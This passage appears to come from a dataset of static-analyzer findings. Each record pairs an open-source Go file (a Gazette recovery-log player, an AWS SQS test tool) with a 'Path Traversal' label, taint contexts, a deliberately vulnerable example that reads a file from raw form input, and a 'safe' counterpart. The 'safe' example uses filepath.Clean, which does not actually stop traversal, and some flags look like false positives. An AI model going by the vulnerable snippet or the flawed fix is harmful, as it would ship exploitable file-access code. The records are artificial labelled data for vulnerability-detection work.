{\n\t\t\t\t\tlog.Printf(\"Accept error: %v\", err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tgo srv2.ServeConn(conn, opts)\n\t\t\t}\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 35, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 35, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 49, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "0b1e7094466d250fcd32da368955c893223bd880bdf9f068de6d0bae75708913", "license": {"spdx": ["MIT"], "repo": "adayNU/gazette", "path": "pkg/recoverylog/playback.go", "repo_head_hexsha": "c23e4b7ef6f2d6551733fd7ad8acd80d91566a09", "stack_hexsha": "e579302f629e319950f56739c0d4c0541f31d926", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 512, "entireCode": "package recoverylog\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\n\tlog \"github.com/sirupsen/logrus\"\n\n\t\"github.com/LiveRamp/gazette/pkg/journal\"\n\t\"github.com/LiveRamp/gazette/pkg/metrics\"\n\t\"github.com/LiveRamp/gazette/pkg/topic\"\n)\n\n// Player reads from a log to rebuild encoded file operations onto the local filesystem.\ntype Player struct {\n\thints FSMHints\n\tdir string\n\ttailingCh chan struct{}\n\thandoffCh chan Author\n\texitCh chan *FSM\n\n\t// TODO(johnny): Plumb through a Context, and remove this (Issue #37).\n\tcancelCh <-chan struct{}\n}\n\n// NewPlayer returns a new Player for recovering the log indicated by |hints|\n// into |dir|. An error is returned if |hints| are invalid.\nfunc NewPlayer(hints FSMHints, dir string) (*Player, error) {\n\t// Validate |hints| are well formed, but discard the built FSM\n\t// (PlayContext, typically run in a spawned goroutine, manages its own).\n\tif _, err := NewFSM(hints); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Player{\n\t\thints: hints,\n\t\tdir: dir,\n\t\ttailingCh: make(chan struct{}),\n\t\thandoffCh: make(chan Author, 1),\n\t\texitCh: make(chan *FSM),\n\t}, nil\n}\n\n// PlayContext uses the prepared Player to play back the log. It returns on the\n// first encountered unrecoverable error, including context cancellation, or\n// upon a successful MakeLive or Handoff.\nfunc (p *Player) PlayContext(ctx context.Context, client journal.Client) error {\n\treturn playLog(ctx, p.hints, p.dir, client, p.tailingCh, p.handoffCh, p.exitCh)\n}\n\n// FinishAtWriteHead requests that playback complete upon reaching the current write\n// head. If Play returned without an error, FinishAtWriteHead will return its resulting\n// FSM (and will otherwise return nil). Only one invocation of FinishAtWriteHead or\n// InjectHandoff may be made of a Player instance.\nfunc (p *Player) FinishAtWriteHead() *FSM {\n\tp.handoffCh <- 0\n\tclose(p.handoffCh)\n\treturn <-p.exitCh\n}\n\n// InjectHandoff requests that playback complete upon injecting a no-op handoff of\n// the given |author| at the recoverylog head. If Play returned without an error,\n// InjectHandoff will return its resulting FSM (and will otherwise return nil).\n// Only one invocation of InjectHandoff or FinishAtWriteHead may be made of a\n// Player instance. |author| must be non-zero or InjectHandoff panics.\nfunc (p *Player) InjectHandoff(author Author) *FSM {\n\tif author == 0 {\n\t\tlog.WithField(\"author\", author).Panic(\"author must be non-zero\")\n\t}\n\tp.handoffCh <- author\n\tclose(p.handoffCh)\n\treturn <-p.exitCh\n}\n\n// IsTailing returns true if playback has reached the log write head and is\n// tailing new log operations as they arrive.\nfunc (p *Player) IsTailing() bool {\n\tselect {\n\tcase <-p.tailingCh:\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n\n// SetCancelChan arranges for a subsequent Play invocation to cancel playback upon\n// |cancelCh| becoming select-able.\n//\n// Deprecated: Plumb Context through Play, and remove (Issue #37).\nfunc (p *Player) SetCancelChan(cancelCh <-chan struct{}) {\n\tp.cancelCh = cancelCh\n}\n\n// Play using the prepared Player. Returns on the first encountered\n// unrecoverable error, or upon a successful MakeLive or Handoff.\n//\n// Deprecated: Remove after context is plumbed through (Issue #37).\nfunc (p *Player) Play(client journal.Client) error {\n\t// Start an adapter to close the playLog Context on cancelCh being selectable.\n\tvar ctx, cancel = context.WithCancel(context.TODO())\n\tif p.cancelCh != nil {\n\t\tgo func() {\n\t\t\t<-p.cancelCh\n\t\t\tcancel()\n\t\t}()\n\t}\n\treturn p.PlayContext(ctx, client)\n}\n\n// playerReader is a cancel-able, buffered RetryReader which may be\n// asynchronously Peeked. This is a requirement for the playback loop, which\n// generally wants to use blocking reads while retaining an ability to cancel\n// pending read operations upon a signal to begin exiting.\ntype playerReader struct {\n\trr journal.RetryReader\n\tbr *bufio.Reader // Wraps |rr|.\n\tcancelCtx context.CancelFunc // Cancels the |rr| Context.\n\tpeekReqCh chan<- struct{} // Signals to begin a new Peek.\n\tpeekRespCh <-chan error // Signalled with the result of a Peek.\n\tpendingPeek bool // Indicates that a Peek is underway.\n}\n\nfunc newPlayerReader(ctx context.Context, mark journal.Mark, getter journal.Getter) *playerReader {\n\tvar pr = &playerReader{\n\t\trr: journal.RetryReader{\n\t\t\tMarkedReader: journal.MarkedReader{Mark: mark},\n\t\t\tGetter: getter,\n\t\t},\n\t}\n\tpr.rr.Context, pr.cancelCtx = context.WithCancel(ctx)\n\tpr.br = bufio.NewReader(&pr.rr)\n\n\tvar reqCh = make(chan struct{}, 1)\n\tvar respCh = make(chan error, 1)\n\n\t// Start a \"peek pump\", which allows us to request that a peek operation\n\t// happen in the background to prime for reading the next operation.\n\tgo func(br *bufio.Reader, reqCh <-chan struct{}, respCh chan<- error) {\n\t\tfor range reqCh {\n\t\t\tvar _, err = br.Peek(1)\n\t\t\trespCh <- err\n\t\t}\n\n\t\tif err := pr.rr.MarkedReader.Close(); err != nil {\n\t\t\tlog.WithField(\"err\", err).Warn(\"error on close\")\n\t\t}\n\t\tclose(respCh)\n\t}(pr.br, reqCh, respCh)\n\n\tpr.peekReqCh = reqCh\n\tpr.peekRespCh = respCh\n\n\treturn pr\n}\n\nfunc (pr *playerReader) peek() <-chan error {\n\tif pr.pendingPeek == false {\n\t\tpr.pendingPeek = true\n\t\tpr.peekReqCh <- struct{}{}\n\t}\n\treturn pr.peekRespCh\n}\n\nfunc (pr *playerReader) abort() {\n\tpr.cancelCtx()\n\tclose(pr.peekReqCh)\n}\n\n// prepareRead ensures |pr| is prepared to read |nextOffset| in blocking mode |block|.\n// It may cancel |pr| and return a new *playerReader in its place.\nfunc prepareRead(ctx context.Context, pr *playerReader, nextOffset int64, block bool) *playerReader {\n\t// Note that |pr.rr.MarkedReader| and |pr.br| cannot be concurrently accessed\n\t// if |pr.pendingPeek| is true. The one exception is |MarkedReader.Mark.Journal|,\n\t// which is never updated by a concurrent Read operation.\n\n\tif block && !pr.rr.Blocking {\n\t\t// We're switching to blocking mode. We can update the current reader to\n\t\t// start blocking with its next read operation.\n\t\tpr.rr.Blocking = true\n\t} else if !block && pr.rr.Blocking {\n\n\t\tif pr.pendingPeek || pr.rr.MarkedReader.ReadCloser != nil {\n\t\t\t// As a blocking read is underway. We must begin a new, non-blocking\n\t\t\t// read operation and cancel the older reader in the background.\n\t\t\tvar mark = journal.Mark{Journal: pr.rr.MarkedReader.Mark.Journal, Offset: nextOffset}\n\n\t\t\tpr.abort()\n\t\t\tpr = newPlayerReader(ctx, mark, pr.rr.Getter)\n\t\t}\n\t\tpr.rr.Blocking = false\n\t}\n\n\tif !pr.pendingPeek && pr.rr.AdjustedMark(pr.br).Offset != nextOffset {\n\t\t// Seek the RetryReader forward to the next hinted offset.\n\t\tif _, err := pr.rr.AdjustedSeek(nextOffset, io.SeekStart, pr.br); err != nil {\n\t\t\tpanic(err) // The contract for RetryReader.Seek is that it never return an error.\n\t\t}\n\t}\n\n\treturn pr\n}\n\ntype fnodeFileMap map[Fnode]*os.File\n\n// playerState models the recovery-log playback state machine.\ntype playerState int\n\nconst (\n\t// Player is reading historical log content.\n\tplayerStateBackfill playerState = iota\n\t// Player is tailing new log content as it is written.\n\tplayerStateTail playerState = iota\n\t// Player will exit after reading through the current log head.\n\tplayerStateExitAtHead playerState = iota\n\t// Player will inject a write barrier to attempt hand-off after reading through the log head.\n\tplayerStateInjectHandoffAtHead playerState = iota\n\t// Player previously injected a write barrier, and is waiting to read it & determine if hand-off was successful.\n\tplayerStateReadHandoffBarrier playerState = iota\n\t// Player has completed playback (terminal state).\n\tplayerStateComplete playerState = iota\n)\n\n// playLog applies |hints| to play the log (indicated by |hints|) into local\n// directory |dir|. It returns an encountered error (which aborts playback),\n// and otherwise blocks indefinitely until signalled by |handoffCh|. If signaled\n// with a zero-valued Author, playLog exits upon reaching the log head. Otherwise,\n// playLog exits upon injecting a properly sequenced no-op RecordedOp which encodes\n// the provided Author. If no error is returned, on exit |exitCh| is signaled with\n// the FSM recovered after playback.\nfunc playLog(ctx context.Context, hints FSMHints, dir string, client journal.Client,\n\ttailingCh chan<- struct{}, handoffCh <-chan Author, exitCh chan<- *FSM) (err error) {\n\n\tvar state = playerStateBackfill\n\tvar fsm *FSM\n\tvar files = make(fnodeFileMap) // Live Fnodes backed by local files.\n\tvar handoff Author // Author we will hand-off to on exit.\n\n\t// Error checks in this function consistently use |err| prior to returning.\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tcleanupAfterAbort(dir, files)\n\t\t} else if state != playerStateComplete {\n\t\t\t// |err| should be nil only on a successful playback completion.\n\t\t\tlog.WithField(\"state\", state).Panic(\"unexpected state\")\n\t\t} else {\n\t\t\texitCh <- fsm\n\t\t}\n\t\tclose(exitCh)\n\t}()\n\n\tif fsm, err = NewFSM(hints); err != nil {\n\t\treturn\n\t} else if err = preparePlayback(dir); err != nil {\n\t\treturn\n\t}\n\n\t// Issue a write barrier to determine the transactional, current log head.\n\tvar asyncAppend *journal.AsyncAppend\n\tif asyncAppend, err = client.Write(hints.Log, nil); err != nil {\n\t\treturn\n\t}\n\t<-asyncAppend.Ready\n\n\t// Next journal |mark| being read.\n\tvar mark = journal.Mark{Journal: hints.Log, Offset: 0}\n\t// Offset we expect to have read through prior to exiting\n\tvar writeHead = asyncAppend.WriteHead\n\n\tvar reader = newPlayerReader(ctx, mark, client)\n\tdefer func() { reader.abort() }() // Defer must be wrapped, as |reader| may change.\n\n\tfor {\n\n\t\tif s := fsm.hintedSegments; len(s) != 0 && s[0].FirstOffset > mark.Offset {\n\t\t\t// Use hinted offset to opportunistically skip through dead chunks of the log.\n\t\t\t// Note that FSM is responsible for updating |hintedSegments| as they're applied.\n\t\t\tmark.Offset = s[0].FirstOffset\n\t\t} else if state == playerStateBackfill && mark.Offset == writeHead {\n\t\t\t// We've completed back-fill and are now tailing the journal.\n\t\t\tstate = playerStateTail\n\t\t\tclose(tailingCh)\n\t\t}\n\n\t\tswitch state {\n\t\tcase playerStateBackfill, playerStateTail, playerStateReadHandoffBarrier:\n\t\t\t// Always perform blocking reads from these states.\n\t\t\treader = prepareRead(ctx, reader, mark.Offset, true)\n\t\tcase playerStateExitAtHead, playerStateInjectHandoffAtHead:\n\t\t\t// If we believe we're at the log head and want to do something once we confirm it\n\t\t\t// (exit, or inject a no-op), use non-blocking reads.\n\t\t\treader = prepareRead(ctx, reader, mark.Offset, mark.Offset < writeHead)\n\t\t}\n\n\t\t// Begin a read of the next operation. Wait for it to error or for the\n\t\t// first byte to be ready, or to be signaled for hand-off.\n\t\tselect {\n\t\tcase err = <-reader.peek():\n\t\t\treader.pendingPeek = false\n\t\t\tbreak\n\n\t\tcase handoff = <-handoffCh:\n\t\t\t// We've been signaled to complete playback and exit when we're able.\n\t\t\tswitch state {\n\t\t\tcase playerStateBackfill, playerStateTail:\n\t\t\t\tif handoff == 0 {\n\t\t\t\t\tstate = playerStateExitAtHead\n\t\t\t\t} else {\n\t\t\t\t\tstate = playerStateInjectHandoffAtHead\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\tlog.WithField(\"state\", state).Panic(\"unexpected state\")\n\t\t\t}\n\t\t\thandoffCh = nil // Do not select again.\n\t\t\tcontinue\n\t\t}\n\n\t\tif err == journal.ErrNotYetAvailable {\n\t\t\tif mark.Offset < writeHead {\n\t\t\t\t// This error is returned only by a non-blocking reader, and we should have used\n\t\t\t\t// a non-blocking reader only if we were already at |writeHead|.\n\t\t\t\tlog.WithFields(log.Fields{\"mark\": mark, \"writeHead\": writeHead}).\n\t\t\t\t\tPanic(\"unexpected ErrNotYetAvailable\")\n\t\t\t}\n\n\t\t\tswitch state {\n\t\t\tcase playerStateExitAtHead:\n\t\t\t\tstate = playerStateComplete\n\t\t\t\terr = makeLive(dir, fsm, files)\n\t\t\t\treturn\n\n\t\t\tcase playerStateInjectHandoffAtHead:\n\t\t\t\tvar noop = frameRecordedOp(RecordedOp{\n\t\t\t\t\tSeqNo: fsm.NextSeqNo,\n\t\t\t\t\tChecksum: fsm.NextChecksum,\n\t\t\t\t\tAuthor: handoff,\n\t\t\t\t}, nil)\n\n\t\t\t\tif asyncAppend, err = client.Write(mark.Journal, noop); err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\t<-asyncAppend.Ready\n\n\t\t\t\t// We next must read through the op we just wrote.\n\t\t\t\tstate, writeHead = playerStateReadHandoffBarrier, asyncAppend.WriteHead\n\n\t\t\tdefault:\n\t\t\t\tlog.WithField(\"state\", state).Panic(\"invalid state\")\n\t\t\t}\n\t\t} else if err != nil {\n\t\t\t// Any other Peek error aborts playback.\n\t\t\treturn\n\t\t}\n\n\t\t// Gazette read operations can potentially update the log mark. Specifically,\n\t\t// if the requested offset has been deleted from the log, the broker will\n\t\t// return the next available offset.\n\t\tmark = reader.rr.AdjustedMark(reader.br)\n\t\t// The read result may have told us that the journal write-head increased,\n\t\t// in which case we want to be sure to read through that offset.\n\t\tif reader.rr.LastResult.WriteHead > writeHead {\n\t\t\twriteHead = reader.rr.LastResult.WriteHead\n\t\t}\n\n\t\tvar op RecordedOp\n\t\tvar applied bool\n\n\t\tif op, applied, err = playOperation(reader.br, mark, fsm, dir, files); err != nil {\n\t\t\treturn // playOperation returns only unrecoverable errors.\n\t\t}\n\n\t\t// Update |mark| again to reflect the next operation offset we intend to apply.\n\t\t// For byte-stream consistency, un-applied Write ops must skip |op.Length| bytes of the stream.\n\t\tif mark = reader.rr.AdjustedMark(reader.br); !applied && op.Write != nil {\n\t\t\tmark.Offset += op.Write.Length\n\t\t}\n\t\tif op.LastOffset != 0 && mark.Offset != op.LastOffset {\n\t\t\tlog.WithFields(log.Fields{\"op\": op, \"mark\": mark}).Panic(\"LastOffset must agree with mark\")\n\t\t}\n\n\t\t// Are we attempting to inject a hand-off and this operation matches our Author?\n\t\tif handoff != 0 && op.Author == handoff {\n\t\t\tif state != playerStateReadHandoffBarrier {\n\t\t\t\tlog.WithField(\"state\", state).Panic(\"unexpected state\")\n\t\t\t}\n\n\t\t\tif state, err = attemptCompletion(fsm, dir, files, applied); state == playerStateComplete || err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc preparePlayback(dir string) error {\n\t// File nodes are staged into a directory within |dir| during playback.\n\tvar fileNodesDir = filepath.Join(dir, fnodeStagingDir)\n\n\t// Remove all prior content under |dir|.\n\tif err := os.RemoveAll(dir); err != nil {\n\t\treturn err\n\t} else if err := os.MkdirAll(fileNodesDir, 0777); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc cleanupAfterAbort(dir string, files fnodeFileMap) {\n\tfor _, fnode := range files {\n\t\tif err := fnode.Close(); err != nil {\n\t\t\tlog.WithField(\"err\", err).Warn(\"closing fnode after abort\")\n\t\t}\n\t}\n\tif err := os.RemoveAll(dir); err != nil {\n\t\tlog.WithField(\"err\", err).Warn(\"removing local directory after abort\")\n\t}\n}\n\n// decodeOperation unpacks, unmarshals, and sets offsets of a RecordedOp from Reader |br| at |offset|.\nfunc decodeOperation(br *bufio.Reader, offset int64) (op RecordedOp, frame []byte, err error) {\n\tif frame, err = topic.FixedFraming.Unpack(br); err != nil {\n\t\treturn\n\t} else if err = topic.FixedFraming.Unmarshal(frame, &op); err != nil {\n\t\treturn\n\t}\n\n\t// First and last offsets are meta-fields never populated by Recorder, and known only upon playback.\n\top.FirstOffset, op.LastOffset = offset, offset+int64(len(frame))\n\n\tif op.Write != nil {\n\t\top.LastOffset += op.Write.Length\n\t}\n\treturn\n}\n\n// applyOperation attempts to transition |fsm| with operation |op|. It returns whether\n// a state transition was applied, or whether an unexpected FSM error occurred. Common and\n// expected FSM errors are squelched.\nfunc applyOperation(op RecordedOp, frame []byte, fsm *FSM) (bool, error) {\n\tif err := fsm.Apply(&op, frame[topic.FixedFrameHeaderLength:]); err == nil {\n\t\treturn true, nil\n\t} else if err == ErrFnodeNotTracked {\n\t\t// Fnode is hinted as being deleted later in the log. This occurs regularly\n\t\t// and we handle by not applying local filesystem operations for this Fnode\n\t\t// (as we know it'll be deleted anyway).\n\t} else if err == ErrNotHintedAuthor {\n\t\t// The FSM has remaining playback hints, and this operation doesn't match\n\t\t// the next expected Author. This happens frequently during Recorder hand-off;\n\t\t// the operation is a dead branch of the log.\n\t} else if err == ErrWrongSeqNo && op.SeqNo < fsm.NextSeqNo {\n\t\t// |op| is prior to the next hinted SeqNo. We may have started reading\n\t\t// from a lower-bound offset, or it may be a duplicated write.\n\t} else {\n\t\treturn false, err\n\t}\n\treturn false, nil\n}\n\n// reenactOperation replays local file actions represented by RecordedOp |op|, which has been applied to |fsm|.\nfunc reenactOperation(op RecordedOp, fsm *FSM, br *bufio.Reader, dir string, files fnodeFileMap) error {\n\tif op.Create != nil {\n\t\treturn create(dir, Fnode(op.SeqNo), files)\n\t} else if op.Unlink != nil {\n\t\treturn unlink(dir, op.Unlink.Fnode, fsm, files)\n\t} else if op.Write != nil {\n\t\tmetrics.RecoveryLogRecoveredBytesTotal.Add(float64(op.Write.Length))\n\t\treturn write(op.Write, br, files)\n\t}\n\treturn nil\n}\n\n// playOperation composes operation decode, application, and re-enactment. It logs warnings on recoverable\n// errors, and surfaces only those which should abort playback.\nfunc playOperation(br *bufio.Reader, mark journal.Mark, fsm *FSM, dir string,\n\tfiles fnodeFileMap) (op RecordedOp, applied bool, err error) {\n\n\t// Unpack the next frame and its unmarshaled RecordedOp.\n\tvar frame []byte\n\tif op, frame, err = decodeOperation(br, mark.Offset); err != nil {\n\t\tif err == topic.ErrDesyncDetected {\n\t\t\t// ErrDesyncDetected is returned by FixedFraming.Unmarshal (and not Unpack, meaning the reader\n\t\t\t// is still in a good state). This frame is garbage, but playback can continue.\n\t\t\tlog.WithField(\"mark\", mark).Warn(\"detected de-synchronization\")\n\t\t\terr = nil\n\t\t}\n\t\t// Other errors are unexpected & unrecoverable.\n\t\treturn\n\t}\n\n\t// Attempt to transition the FSM by the operation, and if applies, reenact the local filesystem action.\n\tif applied, err = applyOperation(op, frame, fsm); err != nil {\n\t\t// We expect FSM errors to be rare, but they can happen under normal operation (eg, during\n\t\t// hand-off, or if multiple Recorders briefly run concurrently, creating branched log histories).\n\t\tlog.WithFields(log.Fields{\"mark\": mark, \"err\": err, \"op\": op}).Info(\"did not apply FSM operation\")\n\t\terr = nil\n\t} else if applied {\n\t\terr = reenactOperation(op, fsm, br, dir, files)\n\t}\n\treturn\n}\n\nfunc stagedPath(dir string, fnode Fnode) string {\n\tvar fname = strconv.FormatInt(int64(fnode), 10)\n\treturn filepath.Join(dir, fnodeStagingDir, fname)\n}\n\nfunc create(dir string, fnode Fnode, files fnodeFileMap) error {\n\tvar file, err = os.OpenFile(stagedPath(dir, fnode),\n\t\tos.O_WRONLY|os.O_CREATE|os.O_EXCL, 0666) // Expect file to not exist.\n\n\tif err == nil {\n\t\tfiles[fnode] = file\n\t}\n\treturn err\n}\n\nfunc unlink(dir string, fnode Fnode, fsm *FSM, files fnodeFileMap) error {\n\tif _, isLive := fsm.LiveNodes[fnode]; isLive {\n\t\t// Live links remain for |fnode|. Take no action.\n\t\treturn nil\n\t}\n\tvar file = files[fnode]\n\n\t// Close and remove the local backing file.\n\tif err := file.Close(); err != nil {\n\t\treturn err\n\t} else if err = os.Remove(stagedPath(dir, fnode)); err != nil {\n\t\treturn err\n\t}\n\tdelete(files, fnode)\n\treturn nil\n}\n\nfunc write(op *RecordedOp_Write, r io.Reader, files fnodeFileMap) error {\n\tvar file = files[Fnode(op.Fnode)]\n\n\t// Seek to the indicated offset.\n\tif _, err := file.Seek(op.Offset, 0); err != nil {\n\t\treturn err\n\t}\n\treturn copyFixed(file, r, op.Length)\n}\n\n// copyFixed is like io.CopyN, but treats an EOF prior to |length| as an\n// ErrUnexpectedEOF. It also uses a |copyBuffers| pool to avoid a buffer\n// allocation.\nfunc copyFixed(w io.Writer, r io.Reader, length int64) error {\n\tvar b = copyBuffers.Get().(*[]byte)\n\tvar n, err = io.CopyBuffer(w, io.LimitReader(r, length), *b)\n\tcopyBuffers.Put(b)\n\n\t// Map an EOF prior to |length| bytes as unexpected.\n\tif err == nil && n != length {\n\t\treturn io.ErrUnexpectedEOF\n\t}\n\treturn err\n}\n\nfunc attemptCompletion(fsm *FSM, dir string, files fnodeFileMap, applied bool) (playerState, error) {\n\tif fsm.hasRemainingHints() {\n\t\treturn playerStateInjectHandoffAtHead, fmt.Errorf(\"FSM has remaining unused hints: %+v\", fsm)\n\t} else if applied{\n\t\t// We successfully sequenced a no-op into the log, taking control of\n\t\t// the log from a current recorder (if one exists).\n\t\tvar err = makeLive(dir, fsm, files)\n\t\treturn playerStateComplete, err\n\t} else {\n\t\t// We lost the race to inject our write operation, and must try again.\n\t\treturn playerStateInjectHandoffAtHead, nil\n\t}\n}\n\n// makeLive links staged Fnode |files| into each of their hard link locations\n// indicated by |fsm| under |dir|, and creates any property files of |fsm|.\n// |files| must exactly match live nodes of |fsm| or makeLive panics.\nfunc makeLive(dir string, fsm *FSM, files fnodeFileMap) error {\n\tif fsm.hasRemainingHints() {\n\t\treturn fmt.Errorf(\"FSM has remaining unused hints: %+v\", fsm)\n\t}\n\tfor fnode, liveNode := range fsm.LiveNodes {\n\t\tvar file = files[fnode]\n\t\tdelete(files, fnode)\n\n\t\t// Link backing-file into target paths.\n\t\tfor link := range liveNode.Links {\n\t\t\ttargetPath := filepath.Join(dir, link)\n\n\t\t\tif err := os.MkdirAll(filepath.Dir(targetPath), 0777); err != nil {\n\t\t\t\treturn err\n\t\t\t} else if err = os.Link(stagedPath(dir, fnode), targetPath); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tlog.WithFields(log.Fields{\"fnode\": fnode, \"target\": targetPath}).Info(\"linked file\")\n\t\t}\n\t\t// Close and removed the staged file.\n\t\tif err := file.Close(); err != nil {\n\t\t\treturn err\n\t\t} else if err = os.Remove(stagedPath(dir, fnode)); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif len(files) != 0 {\n\t\t// Invariant: |FSM.LiveNodes| should fully describe all backing files.\n\t\tlog.WithField(\"files\", files).Panic(\"backing files not in FSM\")\n\t}\n\t// Remove staging directory.\n\tif err := os.Remove(filepath.Join(dir, fnodeStagingDir)); err != nil {\n\t\treturn err\n\t}\n\n\t// Write property files.\n\tfor path, content := range fsm.Properties {\n\t\tvar targetPath = filepath.Join(dir, path)\n\n\t\t// Write |content| to |targetPath|. Expect it to not exist.\n\t\tif err := os.MkdirAll(filepath.Dir(targetPath), 0777); err != nil {\n\t\t\treturn err\n\t\t} else if fout, err := os.OpenFile(targetPath,\n\t\t\tos.O_WRONLY|os.O_CREATE|os.O_EXCL, 0666); err != nil {\n\t\t\treturn err\n\t\t} else if _, err = io.Copy(fout, strings.NewReader(content)); err != nil {\n\t\t\treturn err\n\t\t} else if err = fout.Close(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// Subdirectory into which Fnodes are played-back.\nconst fnodeStagingDir = \".fnodes\"\n\nvar (\n\tcopyBuffers = sync.Pool{\n\t\tNew: func() interface{} {\n\t\t\tvar b = make([]byte, 32*1024)\n\t\t\treturn &b\n\t\t},\n\t}\n)", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 512, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "recoverylog.stagedPath"}}, {"lineNo": 512, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "eecf7762914ff15ca7fb5d40f1281108e5d07d075446c52177d05475997557e1", "license": {"spdx": ["MIT"], "repo": "retgits/acme-serverless", "path": "messaging/sqs/test/main.go", "repo_head_hexsha": "0ca868f399c675e859e359179a713b84445c837c", "stack_hexsha": "cedff0d753d218bffaa8bb53ce8bf6ad2c03768a", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 49, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"path\"\n\n\t\"github.com/aws/aws-sdk-go/aws\"\n\t\"github.com/aws/aws-sdk-go/aws/session\"\n\t\"github.com/aws/aws-sdk-go/service/sqs\"\n)\n\nvar (\n\teventType string\n\tfileLocation string\n\tsqsQueue string\n\tregion string\n\tservice string\n)\n\nfunc main() {\n\tflag.StringVar(&eventType, \"event\", \"\", \"The name of event to send (required)\")\n\tflag.StringVar(&sqsQueue, \"queue\", \"\", \"The URL of the Amazon SQS queue to send events to (required)\")\n\tflag.StringVar(&service, \"service\", \"\", \"The ACME Serverless Fitness Shop service to send events to (required)\")\n\tflag.StringVar(®ion, \"region\", \"us-west-2\", \"The region to send requests to (defaults to us-west-2)\")\n\tflag.Parse()\n\n\t// Make sure the required flags are set\n\tif len(eventType) < 1 {\n\t\tlog.Fatal(\"Error: the 'event' flag must be set\")\n\t}\n\n\tif len(sqsQueue) < 1 {\n\t\tlog.Fatal(\"Error: the 'queue' flag must be set\")\n\t}\n\n\tif len(service) < 1 {\n\t\tlog.Fatal(\"Error: the 'service' flag must be set\")\n\t}\n\n\tfileLocation, err := os.Getwd()\n\tif err != nil {\n\t\tlog.Fatal(err.Error())\n\t}\n\n\tbytes, err := ioutil.ReadFile(path.Join(fileLocation, service, fmt.Sprintf(\"%s.json\", eventType)))\n\tif err != nil {\n\t\tlog.Fatalf(\"error reading file: %s\", err.Error())\n\t}\n\tpayload := string(bytes)\n\n\tawsSession := session.Must(session.NewSession(&aws.Config{\n\t\tRegion: aws.String(region),\n\t}))\n\n\tsvc := sqs.New(awsSession)\n\n\tsendMessageInput := &sqs.SendMessageInput{\n\t\tQueueUrl: aws.String(sqsQueue),\n\t\tMessageBody: aws.String(payload),\n\t}\n\n\tsendMessageOutput, err := svc.SendMessage(sendMessageInput)\n\tif err != nil {\n\t\tlog.Fatalf(\"error reading file: %s\", err.Error())\n\t}\n\n\tlog.Printf(\"MessageID: %s\\n\", *sendMessageOutput.MessageId)\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 49, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Join"}}, {"lineNo": 49, "eventType": "source", 